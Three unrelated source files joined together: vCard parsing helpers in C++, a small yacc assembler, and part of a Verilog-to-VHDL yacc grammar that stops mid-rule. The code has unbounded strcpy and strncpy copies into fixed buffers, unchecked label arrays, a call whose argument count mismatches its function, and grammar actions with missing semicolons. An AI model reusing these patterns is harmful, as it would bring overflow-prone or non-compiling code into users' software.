/*/////////////////////////////////////////////////////////////////////////*/
static void YYDebug(const char *s)
{
Parse_Debug(s);
}
/*/////////////////////////////////////////////////////////////////////////*/
static int StrToParam(const char *s, PARAMS_STRUCT *params)
{
int i;
params->known[1] = NULL;
params->extended[0] = 0;
for (i = 0; typePairs[i].name; i++)
if (stricmp(s, strrchr(typePairs[i].name, '/') + 1) == 0) {
params->known[0] = typePairs[i].name;
return typePairs[i].token;
}
for (i = 0; valuePairs[i].name; i++)
if (stricmp(s, strrchr(valuePairs[i].name, '/') + 1) == 0) {
params->known[0] = valuePairs[i].name;
return valuePairs[i].token;
}
for (i = 0; encodingPairs[i].name; i++)
if (stricmp(s, strrchr(encodingPairs[i].name, '/') + 1) == 0) {
params->known[0] = encodingPairs[i].name;
return encodingPairs[i].token;
}
if (stricmp(s, "quoted-printable") == 0) {
params->known[0] = vcQuotedPrintableProp;
return QUOTEDP;
} else if (stricmp(s, "url") == 0) {
params->known[0] = vcURLValueProp;
return URL;
}
return 0;
}
/*/////////////////////////////////////////////////////////////////////////*/
static const char* StrToProp(const char* str)
{
int i;
if (stricmp(str, "N") == 0)
return mime_fam_given;
else if (stricmp(str, "ORG") == 0)
return mime_orgname_orgunit;
else if (stricmp(str, "ADR") == 0)
return mime_address;
for (i = 0; propNames[i]; i++)
if (stricmp(str, strrchr(propNames[i], '/') + 1) == 0) {
return propNames[i];
}
return NULL;
}
/*/////////////////////////////////////////////////////////////////////////*/
static void AddParam(PARAMS_STRUCT* dst, PARAMS_STRUCT* src)
{
if (src->known[0]) {
int len = flagslen(dst->known);
dst->known[len] = src->known[0];
dst->known[len+1] = NULL;
} else {
char *p = dst->extended;
int len = strlen(src->extended);
while (*p) p += strlen(p) + 1;
memcpy(p, src->extended, len + 1);
*(p + len + 1) = 0;
}
}
/*/////////////////////////////////////////////////////////////////////////*/
static int ComponentsSeparatedByChar(
char* str, char pat, CList& list)
{
char* p;
char* s = str;
int num = 0;
while ((p = strchr(s, pat))) {
if (p == s || *(p-1) != '\\') {
*p = 0;
list.AddTail(str);
num++;
s = str = p + 1;
} else {
s = p + 1;
}
}
list.AddTail(str);
num++;
for (CLISTPOSITION pos = list.GetHeadPosition(); pos; ) {
s = (char*)list.GetNext(pos);
while ((p = strchr(s, pat))) {
int len = strlen(p+1);
memmove(p-1, p, len+1);
*(p+len) = 0;
s = p;
}
}
return num;
}
static void AddStringProps(
CVCNode* node, const char** props, char* val)
{
CList list;
ComponentsSeparatedByChar(val, ';', list);
for (CLISTPOSITION pos = list.GetHeadPosition(); pos && *props; props++) {
char* s = (char*)list.GetNext(pos);
if (*s)
node->AddStringProp(*props, s);
}
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL Parse_Assoc(
const char *groups, const char *prop, PARAMS_STRUCT *params, char *value)
{
CVCNode *node = NULL;
const char *propName;
char *val = *value ? value : longString;
S32 valLen = *value ? strlen(value) : longStringLen;
U8 __huge *bytes = NULL;
if (!valLen)
return TRUE; /* don't treat an empty value as a syntax error */
propName = StrToProp(prop);
/* prop is a word like "PN", and propName is now */
/* the real prop name of the form "+//ISBN 1-887687-00-9::versit..." */
if (*groups) {
node = FindOrCreatePart(bodyToBuild, groups);
} else { /* this is a "top level" property name */
if (propName) {
if (strcmp(propName, vcCharSetProp) == 0
|| strcmp(propName, vcLanguageProp) == 0) {
node = bodyToBuild;
node->RemoveProp(propName);
} else
node = bodyToBuild->AddPart();
} else
node = bodyToBuild->AddPart();
}
if (FlagsHave(params, vcBase64Prop)) {
S32 len;
bytes = DataFromBase64(val, valLen, &len);
valLen = len;
if (!bytes)
return FALSE;
}
if (!propName) { /* it's an extended property */
if (bytes) {
node->AddProp(new CVCProp(prop, vcOctetsType, bytes, valLen));
HFREE(bytes);
AddBoolProps(node, params);
} else {
node->AddStringProp(prop, value);
AddBoolProps(node, params);
}
return TRUE;
}
if ((strcmp(propName, vcLogoProp) == 0)
|| (strcmp(propName, vcPhotoProp) == 0)) {
if (bytes) {
if (FlagsHave(params, vcGIFProp)
&& !FlagsHave(params, vcURLValueProp)
&& !FlagsHave(params, vcContentIDProp))
node->AddProp(new CVCProp(propName, vcGIFType, bytes, valLen));
else
node->AddProp(new CVCProp(propName, vcOctetsType, bytes, valLen));
HFREE(bytes);
AddBoolProps(node, params);
} else {
node->AddStringProp(propName, value);
AddBoolProps(node, params);
}
} else if (strcmp(propName, vcPronunciationProp) == 0) {
if (bytes) {
if (FlagsHave(params, vcWAVEProp)
&& !FlagsHave(params, vcURLValueProp)
&& !FlagsHave(params, vcContentIDProp))
node->AddProp(new CVCProp(propName, vcWAVType, bytes, valLen));
else
node->AddProp(new CVCProp(propName, vcOctetsType, bytes, valLen));
HFREE(bytes);
AddBoolProps(node, params);
} else {
node->AddStringProp(propName, value);
AddBoolProps(node, params);
}
} else if (strcmp(propName, vcPublicKeyProp) == 0) {
if (bytes) {
node->AddProp(new CVCProp(propName, vcOctetsType, bytes, valLen));
HFREE(bytes);
AddBoolProps(node, params);
} else {
node->AddStringProp(propName, value);
AddBoolProps(node, params);
}
} else if (strcmp(propName, mime_fam_given) == 0) {
AddStringProps(node, mime_nameProps, val);
AddBoolProps(node, params);
} else if (strcmp(propName, mime_orgname_orgunit) == 0) {
AddStringProps(node, mime_orgProps, val);
AddBoolProps(node, params);
} else if (strcmp(propName, mime_address) == 0) {
AddStringProps(node, mime_addrProps, val);
AddBoolProps(node, params);
} else {
node->AddStringProp(propName, value);
AddBoolProps(node, params);
}
return TRUE;
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL Parse_Agent(
const char *groups, const char *prop, PARAMS_STRUCT *params,
CVCard *agentCard)
{
CVCNode *node = NULL;
if (*groups) {
node = FindOrCreatePart(bodyToBuild, groups);
} else { /* this is a "top level" property name */
node = bodyToBuild->AddPart();
}
node->AddProp(new CVCProp(vcAgentProp, VCNextObjectType, agentCard));
AddBoolProps(node, params);
return TRUE;
}
/***************************************************************************/
/*** Private Utility Functions ****/
/***************************************************************************/
/*/////////////////////////////////////////////////////////////////////////*/
/* This parses and converts the base64 format for binary encoding into
* a decoded buffer (allocated with new). See RFC 1521.
*/
static U8 __huge * DataFromBase64(
const char __huge *str, S32 strLen, S32 *len)
{
S32 cur = 0, bytesLen = 0, bytesMax = 0;
int quadIx = 0, pad = 0;
U32 trip = 0;
U8 b;
char c;
U8 __huge *bytes = NULL;
while (cur < strLen) {
c = str[cur];
if ((c >= 'A') && (c <= 'Z'))
b = (U8)(c - 'A');
else if ((c >= 'a') && (c <= 'z'))
b = (U8)(c - 'a') + 26;
else if ((c >= '0') && (c <= '9'))
b = (U8)(c - '0') + 52;
else if (c == '+')
b = 62;
else if (c == '/')
b = 63;
else if (c == '=') {
b = 0;
pad++;
} else if ((c == '\n') || (c == ' ') || (c == '\t')) {
cur++;
continue;
} else { /* error condition */
if (bytes) delete [] bytes;
return NULL;
}
trip = (trip << 6) | b;
if (++quadIx == 4) {
U8 outBytes[3];
int numOut;
for (int i = 0; i < 3; i++) {
outBytes[2-i] = (U8)(trip & 0xFF);
trip >>= 8;
}
numOut = 3 - pad;
if (bytesLen + numOut > bytesMax) {
if (!bytes) {
bytes = HNEW(U8, 1024L);
bytesMax = 1024;
} else {
U8 __huge *newBytes = HNEW(U8, bytesMax * 2);
_hmemcpy(newBytes, bytes, bytesLen);
HFREE(bytes);
bytes = newBytes;
bytesMax *= 2;
}
}
memcpy(bytes + bytesLen, outBytes, numOut);
bytesLen += numOut;
trip = 0;
quadIx = 0;
}
cur++;
} /* while */
*len = bytesLen;
return bytes;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This creates an empty CVCard shell with an English body in preparation
* for parsing properties onto it. This is used for both the outermost
* card, as well as any AGENT properties, which are themselves vCards.
*/
static BOOL PushVCard()
{
CVCard *card;
CVCNode *root, *english;
if (curCard == MAXCARD - 1)
return FALSE;
card = new CVCard;
card->AddObject(root = new CVCNode); /* create root */
root->AddProp(new CVCProp(VCRootObject)); /* mark it so */
/* add a body having the default language */
english = root->AddObjectProp(vcBodyProp, VCBodyObject);
cardToBuild[++curCard] = card;
bodyToBuild = english;
return TRUE;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This pops the recently built vCard off the stack and returns it. */
static CVCard* PopVCard()
{
CVCard *result = cardToBuild[curCard];
cardToBuild[curCard--] = NULL;
bodyToBuild = (curCard == -1) ? NULL : cardToBuild[curCard]->FindBody();
return result;
}
/*/////////////////////////////////////////////////////////////////////////*/
static int flagslen(const char **params)
{
int i;
for (i = 0; *params; params++, i++) ;
return i;
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL FlagsHave(PARAMS_STRUCT *params, const char *propName)
{
const char **kf;
if (!params)
return FALSE;
kf = params->known;
while (*kf)
if (*kf++ == propName)
return TRUE;
return FALSE;
}
/*/////////////////////////////////////////////////////////////////////////*/
static void AddBoolProps(CVCNode *node, PARAMS_STRUCT *params)
{
const char **kf;
const char *ext;
if (!params)
return;
kf = params->known;
ext = params->extended;
// process the known boolean properties
while (*kf) {
node->AddBoolProp(*kf);
kf++;
}
// process the extended properties
while (*ext) {
const char* eq = strchr(ext, '=');
ASSERT(eq);
if (eq-ext == 7 && strnicmp(ext, "charset", 7) == 0) {
if (!node->GetProp(vcCharSetProp))
node->AddProp(new CVCProp(vcCharSetProp, vcFlagsType, (void*)(eq+1), strlen(eq+1)+1));
} else if (eq-ext == 8 && strnicmp(ext, "language", 8) == 0) {
if (!node->GetProp(vcLanguageProp))
node->AddProp(new CVCProp(vcLanguageProp, vcFlagsType, (void*)(eq+1), strlen(eq+1)+1));
} else {
char buf[256];
strncpy(buf, ext, eq-ext);
buf[eq-ext] = 0;
node->AddProp(new CVCProp(buf, vcFlagsType, (void*)(eq+1), strlen(eq+1)+1));
}
ext += strlen(ext) + 1;
}
}
|
<gh_stars>0
%{
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#define PRG_ORG 2048
#define PRG_SIZE 1024
extern int yylineno;
int prg[PRG_SIZE] = {};
int *addr = prg;
int *imm_addr = &prg[PRG_SIZE];
typedef struct{
char name[32];
int addr;
} Label;
Label label_list[256] = {};
Label *label = label_list;
Label ref_list[256] = {};
Label *ref = ref_list;
const char *instruction[] = {
"IS_READ", "IS_WRITE", "IS_ADD", "IS_SUB", "IS_MUL", "IS_DIV", "IS_AND", "IS_OR", "IS_XOR", "IS_BRANCH", "IS_EQ", "IS_NEQ", "IS_LT", "IS_LTE", "IS_GT", "IS_GTE",
};
int is_ref = 0;
%}
%union {
int ival;
double fval;
char cval;
unsigned char sval[256];
}
%token semicolon is_nop is_read is_write is_add is_sub is_mul is_div is_branch is_eq is_neq is_lt is_lte is_gt is_gte sharp ast is_and is_or is_xor colon amp
%token <sval> identifier string
%token <ival> integer
%type <ival> instruction operand val inst_sentence
%%
asm : line
| line asm
;
line : line_sentence
| identifier colon {add_label($1, PRG_ORG + addr - prg); }
;
line_sentence : inst_sentence semicolon
| semicolon
;
inst_sentence : instruction {*(addr++) = $1; }
| val {*(addr++) = $1; }
| string {
unsigned char *str = $1;
while(*str){
*(addr++) = *str;
str++;
}
*(addr++) = '\0';
}
;
instruction : is_read operand {$$ = (0<<16) + $2; }
| is_write operand {$$ = (1<<16) + $2; }
| is_add operand {$$ = (2<<16) + $2; }
| is_sub operand {$$ = (3<<16) + $2; }
| is_mul operand {$$ = (4<<16) + $2; }
| is_div operand {$$ = (5<<16) + $2; }
| is_and operand {$$ = (6<<16) + $2; }
| is_or operand {$$ = (7<<16) + $2; }
| is_xor operand {$$ = (8<<16) + $2; }
| is_branch operand {$$ = (9<<16) + $2; }
| is_eq operand {$$ = (10<<16) + $2; }
| is_neq operand {$$ = (11<<16) + $2; }
| is_lt operand {$$ = (12<<16) + $2; }
| is_lte operand {$$ = (13<<16) + $2; }
| is_gt operand {$$ = (14<<16) + $2; }
| is_gte operand {$$ = (15<<16) + $2; }
;
operand : ast val {$$ = $2; ref_addr(addr - prg); }
| val {*(--imm_addr) = $1; $$ = PRG_ORG + imm_addr - prg; ref_addr(imm_addr - prg); }
;
val : integer {$$ = $1; }
| instruction
| identifier {$$ = ref_label($1, 128); }
;
%%
int main(void)
{
yyparse();
for(int *code = prg; code != &prg[PRG_SIZE]; code++){
//printf("%08x", *code);
/*if (code < addr){
printf("is_word(%s, %d)", instruction[(*code)>>16], (*code)&((1<<16) - 1));
}else{
printf("%d", *code);
}*/
fwrite(code, sizeof(int), 1, stdout);
//if (code != &prg[PRG_SIZE - 1]) printf(", ");
//printf("\t-- %d\n", code - prg + PRG_ORG);
}
/*printf("ラベル\n");
for(Label *i = label_list; i != label; i++){
printf("%s -> %d\n", i->name, i->addr);
}
printf("\nラベル参照\n");
for(Label *i = ref_list; i != ref; i++){
printf("%s -> %d\n", i->name, i->addr);
}*/
for(Label *i = ref_list; i != ref; i++){
if (i->addr != -1){
fprintf(stderr,"未解決のラベル %s\n", i->name);
exit(1);
}
}
return 0;
}
void yyerror(const char *str)
{
fprintf(stderr,"line %d: %s\n",yylineno,str);
exit(1);
}
void add_label(char *name, int addr){
for(Label *i = label_list; i != label; i++){
if (strcmp(i->name, name) == 0){
fprintf(stderr,"line %d: ラベル 2 重定義 %s\n",yylineno, name);
exit(1);
}
}
for(Label *i = ref_list; i != ref; i++){
if (strcmp(name, i->name) == 0){
prg[i->addr] += addr;
i->addr = -1;
}
}
label->addr = addr;
strcpy(label->name, name);
label++;
}
void ref_addr(int addr){
if (is_ref){
ref->addr = addr;
ref++;
is_ref = 0;
}
}
int ref_label(char *name){
for(Label *i = label_list; i != label; i++){
if (strcmp(name, i->name) == 0) return i->addr;
}
strcpy(ref->name, name);
is_ref = 1;
return 0;
}
|
%{
////////////////////////////////////////////////////////////////////////////////
// __ _ _ _ //
// / _(_) | | | | //
// __ _ _ _ ___ ___ _ __ | |_ _ ___| | __| | //
// / _` | | | |/ _ \/ _ \ '_ \| _| |/ _ \ |/ _` | //
// | (_| | |_| | __/ __/ | | | | | | __/ | (_| | //
// \__, |\__,_|\___|\___|_| |_|_| |_|\___|_|\__,_| //
// | | //
// |_| //
// //
// //
// Verilog to VHDL //
// HDL Translator //
// //
////////////////////////////////////////////////////////////////////////////////
/* Copyright (c) 2016-2017 by the author(s)
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* =============================================================================
* Author(s):
* <NAME> <<EMAIL>>
*/
#include "verilog2vhdl.h"
void yyerror(char *s);
%}
%token T_CELLDEFINE
%token T_DEFINE
%token T_ELSEDEF
%token T_ELSIFDEF
%token T_ENDCELLDEFINE
%token T_ENDIFDEF
%token T_IFDEF
%token T_INCLUDE
%token T_RESETALL
%token T_TIMESCALE
%token T_UNDEF
%token T_ALWAYS
%token T_AND
%token T_ARROW
%token T_ASSIGN
%token T_AUTOMATIC
%token T_AT
%token T_BEGIN
%token T_CASE
%token T_COLON
%token T_COMMA
%token T_DEASSIGN
%token T_DEFAULT
%token T_DIV
%token T_DOT
%token T_ELSE
%token T_ELSIF
%token T_END
%token T_ENDCASE
%token T_ENDFUNCTION
%token T_ENDGENERATE
%token T_ENDMODULE
%token T_ENDTASK
%token T_EQ
%token T_EXP
%token T_FOR
%token T_FORCE
%token T_FOREVER
%token T_FORK
%token T_FUNCTION
%token T_GATE_AND
%token T_GATE_BUF
%token T_GATE_NAND
%token T_GATE_NOR
%token T_GATE_NOT
%token T_GATE_OR
%token T_GATE_XNOR
%token T_GATE_XOR
%token T_GE
%token T_GENERATE
%token T_GENERIC
%token T_GENERIC_ID
%token T_GT
%token T_IF
%token T_INITIAL
%token T_INOUT
%token T_INPUT
%token T_INTEGER
%token T_JOIN
%token T_LBRACE
%token T_LBRAKET
%token T_LE
%token T_LOGIC_AND
%token T_LOGIC_EQ
%token T_LOGIC_NEQ
%token T_LOGIC_NOT
%token T_LOGIC_OR
%token T_LPARENTESIS
%token T_LS
%token T_LSHIFT
%token T_MINUS
%token T_MOD
%token T_MODULE
%token T_MULT
%token T_NAND
%token T_NEGEDGE
%token T_NOR
%token T_NOT
%token T_OR
%token T_OUTPUT
%token T_PARAMETER
%token T_PLUS
%token T_POSEDGE
%token T_RBRACE
%token T_RBRAKET
%token T_REG
%token T_REPEAT
%token T_RPARENTESIS
%token T_RSHIFT
%token T_SELECT
%token T_SEMICOLON
%token T_SIGNED
%token T_TASK
%token T_UNIQUE
%token T_TIME
%token T_WHILE
%token T_WIRE
%token T_XNOR
%token T_XOR
%token T_ID
%token T_SENTENCE
%token T_NATDIGIT
%token T_BINDIGIT
%token T_OCTDIGIT
%token T_DECDIGIT
%token T_HEXDIGIT
%token T_WIDTH_BINDIGIT
%token T_WIDTH_OCTDIGIT
%token T_WIDTH_DECDIGIT
%token T_WIDTH_HEXDIGIT
%token T_PARAMETER_BINDIGIT
%token T_PARAMETER_OCTDIGIT
%token T_PARAMETER_DECDIGIT
%token T_PARAMETER_HEXDIGIT
%token T_GENERIC_BINDIGIT
%token T_GENERIC_OCTDIGIT
%token T_GENERIC_DECDIGIT
%token T_GENERIC_HEXDIGIT
%token N_ALWAYS_ASYNCRONE_SEQUENCE
%token N_ALWAYS_BODIES_GENERIC
%token N_ALWAYS_COMBINATIONAL
%token N_ALWAYS_SEQUENCE
%token N_ALWAYS_SYNCRONE_SEQUENCE
%token N_ALWAYS_UNCONDITIONAL
%token N_ASSIGN
%token N_ASSIGN_PARAMETER
%token N_ASSIGN_SIGNAL
%token N_ASYNCRST_IF
%token N_CASE
%token N_COMPACT_ENTITY
%token N_COMPLEX_IFDEF_MODULE
%token N_CONCATENATION
%token N_CONCURRENCE
%token N_CONSTANT_PROCESS
%token N_COPY_SIGNAL
%token N_DEFINE_DIRECTIVE
%token N_DELAY_TASKCALL
%token N_DUMMY
%token N_FULL_ENTITY
%token N_EXPRESSION_DOT_LIST
%token N_EXPRESSION_LIST
%token N_FOR_ACTUALIZATION
%token N_FOR_CONDITION_GE
%token N_FOR_CONDITION_GT
%token N_FOR_CONDITION_LE
%token N_FOR_CONDITION_LS
%token N_FOR_INITIALIZATION
%token N_FOREVER
%token N_FORK
%token N_FUNCTION_CALL
%token N_FUNCTION_DEFINITION
%token N_IFDEF_CASE
%token N_IFDEF_MAP
%token N_IFDEF_MODULE
%token N_IFDEF_PORT
%token N_IFDEF_PROJECT
%token N_INCLUDE_DIRECTIVE
%token N_INITIAL
%token N_MAP_LIST
%token N_NAME
%token N_NET_ASSIGN
%token N_NET_ASSIGN_DELAY
%token N_NET_DELAY_ASSIGN
%token N_NULL
%token N_PARENTESIS
%token N_PORT_MAP
%token N_PROCEDURAL_TIME_EXPRESSION
%token N_PROCEDURAL_TIME_GENERIC
%token N_RANGE
%token N_REDUCTION_AND
%token N_REDUCTION_NAND
%token N_REDUCTION_NOR
%token N_REDUCTION_OR
%token N_REDUCTION_XNOR
%token N_REDUCTION_XOR
%token N_REPEAT
%token N_SENSITIVITY_LIST
%token N_SENSITIVITY_NEGEDGE_LIST
%token N_SENSITIVITY_POSEDGE_LIST
%token N_SIGNAL
%token N_SIGNAL_LIST
%token N_SIGNAL_WIDTH
%token N_TASK_CALL
%token N_TASK_DEFINITION
%token N_TIMESCALE_DIRECTIVE
%token N_VARIABLE_ASSIGN
%token N_VARIABLE_ASSIGN_DELAY
%token N_VARIABLE_DELAY_ASSIGN
%token N_VARIABLE_PROCESS
%token N_WHILE
%left T_LOGIC_AND
%left T_LOGIC_OR
%right T_LOGIC_NOT
%nonassoc T_LOGIC_NEQ
%nonassoc T_LOGIC_EQ
%left T_AND
%left T_NAND
%left T_OR
%left T_NOR
%left T_XOR
%left T_XNOR
%nonassoc T_GE
%nonassoc T_GT
%nonassoc T_LE
%nonassoc T_LS
%nonassoc T_EQ
%nonassoc T_LSHIFT
%nonassoc T_RSHIFT
%right T_NOT
%left T_PLUS
%left T_MINUS
%left T_DIV
%left T_EXP
%left T_MULT
%left T_MOD
%left N_UPLUS
%left N_UMINUS
%%
top
: project
{ ParseTreeTop = $1; }
;
project
: module_definitions project
{
$$ = $1; SetNext($$,$2);
}
| common_compiler_directives project
{
$$ = $1; SetNext($$,$2);
}
| module_definitions
{
$$ = $1; SetNext($$,NULLCELL);
}
| common_compiler_directives
{
$$ = $1; SetNext($$,NULLCELL);
}
;
module_definitions
: T_MODULE module_entity T_ENDMODULE
{ /* T_MODULE info1=entity, info2=body */
$$ = $1; SetInfo1($$,$2);
SetLine($$,CellLine($1));
FreeTcell($3);
SetSig($$,SigListTop); SigListTop = MakeNewSigList(); /* reset signal list */
SetCmp($$,ComponentListTop); ComponentListTop = MakeNewComponentList(); /* reset type list */
/* reset comment list ... unnecessary (common to all modules) */
/* reset line list ... unnecessary (common to all modules) */
}
| T_MODULE module_entity module_items_list T_ENDMODULE
{ /* T_MODULE info1=entity, info2=body */
$$ = $1; SetInfo1($$,$2); SetInfo2($$,$3);
SetLine($$,CellLine($1));
FreeTcell($4);
SetSig($$,SigListTop); SigListTop = MakeNewSigList(); /* reset signal list */
SetCmp($$,ComponentListTop); ComponentListTop = MakeNewComponentList(); /* reset type list */
/* reset comment list ... unnecessary (common to all modules) */
/* reset line list ... unnecessary (common to all modules) */
}
;
module_entity
: T_ID T_LPARENTESIS port_names_top T_RPARENTESIS T_SEMICOLON
{ /* N_FULL_ENTITY info0=name, info1=list */
$$ = MallocTcell(N_FULL_ENTITY,(char *)NULL,CellLine($5)); SetInfo0($$,$1); SetInfo1($$,$3);
FreeTcell($2); FreeTcell($4); FreeTcell($5);
}
| T_ID T_LPARENTESIS T_RPARENTESIS T_SEMICOLON
{ /* N_FULL_ENTITY info0=name, info1=list */
$$ = MallocTcell(N_FULL_ENTITY,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetInfo1($$,NULLCELL);
FreeTcell($2); FreeTcell($3); FreeTcell($4);
}
| T_ID T_SEMICOLON
{ /* N_FULL_ENTITY info0=name, info1=list */
$$ = MallocTcell(N_FULL_ENTITY,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetInfo1($$,NULLCELL);
FreeTcell($2);
}
| T_ID T_GENERIC T_LPARENTESIS compact_data_type_declarations_list T_RPARENTESIS T_LPARENTESIS compact_data_type_declarations_list T_RPARENTESIS T_SEMICOLON
{ /* N_COMPACT_ENTITY info0=name, info1=list(generic), info2=list(port) */
$$ = MallocTcell(N_COMPACT_ENTITY,(char *)NULL,CellLine($5)); SetInfo0($$,$1); SetInfo1($$,$4); SetInfo2($$,$7);
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| T_ID T_LPARENTESIS compact_data_type_declarations_list T_RPARENTESIS T_SEMICOLON
{ /* N_COMPACT_ENTITY info0=name, info1=list(generic), info2=list(port) */
$$ = MallocTcell(N_COMPACT_ENTITY,(char *)NULL,CellLine($5)); SetInfo0($$,$1); SetInfo1($$,NULLCELL); SetInfo2($$,$3);
FreeTcell($2); FreeTcell($4); FreeTcell($5);
}
;
port_names_top
: T_IFDEF T_ID port_names_top T_ELSEDEF port_names_top T_ENDIFDEF port_names_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5); SetNext($$,$7);
}
| T_IFDEF T_ID port_names_top T_ELSEDEF port_names_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5);
}
| T_IFDEF T_ID port_names_top T_ELSEDEF T_ENDIFDEF port_names_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetNext($$,$6);
}
| T_IFDEF T_ID port_names_top T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
}
| T_IFDEF T_ID T_ELSEDEF port_names_top T_ENDIFDEF port_names_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT);
SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetNext($$,$6);
}
| T_IFDEF T_ID T_ELSEDEF port_names_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT);
SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4);
}
| T_IFDEF T_ID port_names_top T_ENDIFDEF port_names_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT)
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetNext($$,$5);
}
| T_IFDEF T_ID port_names_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PORT)
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
}
| port_names port_names_top
{
$$ = $1; SetNext($$,$2);
}
| port_names
{
$$ = $1; SetNext($$,NULLCELL);
}
;
port_names
: T_ID T_COMMA port_names
{ /* N_EXPRESSION_LIST info0=signal */
$$ = MallocTcell(N_EXPRESSION_LIST,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetNext($$,$3);
SetType($1,N_SIGNAL);
FreeTcell($2);
}
| T_ID T_COMMA
{ /* N_EXPRESSION_LIST info0=signal */
$$ = MallocTcell(N_EXPRESSION_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetNext($$,NULLCELL);
SetType($1,N_SIGNAL);
}
| T_ID
{ /* N_EXPRESSION_LIST info0=signal */
$$ = MallocTcell(N_EXPRESSION_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetNext($$,NULLCELL);
SetType($1,N_SIGNAL);
}
;
module_items_list
: module_items module_items_list
{ /* (module_items will already be a list if module_items == declarations) */
TREECELL *ptr;
$$ = $1;
for (ptr = $1; NextCell(ptr) != NULLCELL; ptr = NextCell(ptr))
;
SetNext(ptr,$2);
}
| module_items
{
$$ = $1;
}
;
module_items
: full_data_type_declarations_list
{
register TCELLPNT ptr;
$$ = $1;
for (ptr = $$; ptr != NULLCELL; ptr = NextCell(ptr)) {
Boolean isinp, isout, issig;
isinp = isout = issig = False;
switch (CellType(ptr)) {
case T_INPUT:
isinp = True;
break;
case T_OUTPUT:
isout = True;
break;
case T_INOUT:
isinp = True;
isout = True;
break;
case T_REG:
issig = True;
break;
case T_WIRE:
issig = True;
break;
}
//if (CellType(ptr) != T_PARAMETER && RegisterSignal(SigListTop, ptr, issig, isinp, isout) == False) {
//fprintfError("Duplicate signal name (VHDL code is case insensitive).", CellLine(ptr));
//}
}
}
| module_body
{
$$ = $1; SetNext($$,NULLCELL);
}
;
module_body
: module_instances
{
$$ = $1; SetNext($$,NULLCELL);
}
| primitive_instances
{
$$ = $1; SetNext($$,NULLCELL);
}
| generate_blocks
{
$$ = $1; SetNext($$,NULLCELL);
}
| fork_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| initial_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| unconditional_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| always_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| forever_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| for_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| if_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| repeat_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| while_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| continuous_assignments
{
$$ = $1; SetNext($$,NULLCELL);
}
| procedural_time_controls
{
$$ = $1; SetNext($$,NULLCELL);
}
| task_definitions
{
$$ = $1; SetNext($$,NULLCELL);
}
| function_definitions
{
$$ = $1; SetNext($$,NULLCELL);
}
| define_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| ifdef_module_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| include_part
{
$$ = $1; SetNext($$,NULLCELL);
}
| undef_part
{
$$ = $1; SetNext($$,NULLCELL);
}
;
full_data_type_declarations_list
: full_data_type_declarations full_data_type_declarations_list
{
$$ = $1; SetNext($$,$2);
}
| full_data_type_declarations
{
$$ = $1; SetNext($$,NULLCELL);
}
;
compact_data_type_declarations_list
: compact_data_type_declarations compact_data_type_declarations_list
{
$$ = $1; SetNext($$,$2);
}
| compact_data_type_declarations
{
$$ = $1; SetNext($$,NULLCELL);
}
;
full_data_type_declarations
: port_declarations
{
$$ = $1; SetNext($$,NULLCELL);
}
| net_data_types
{
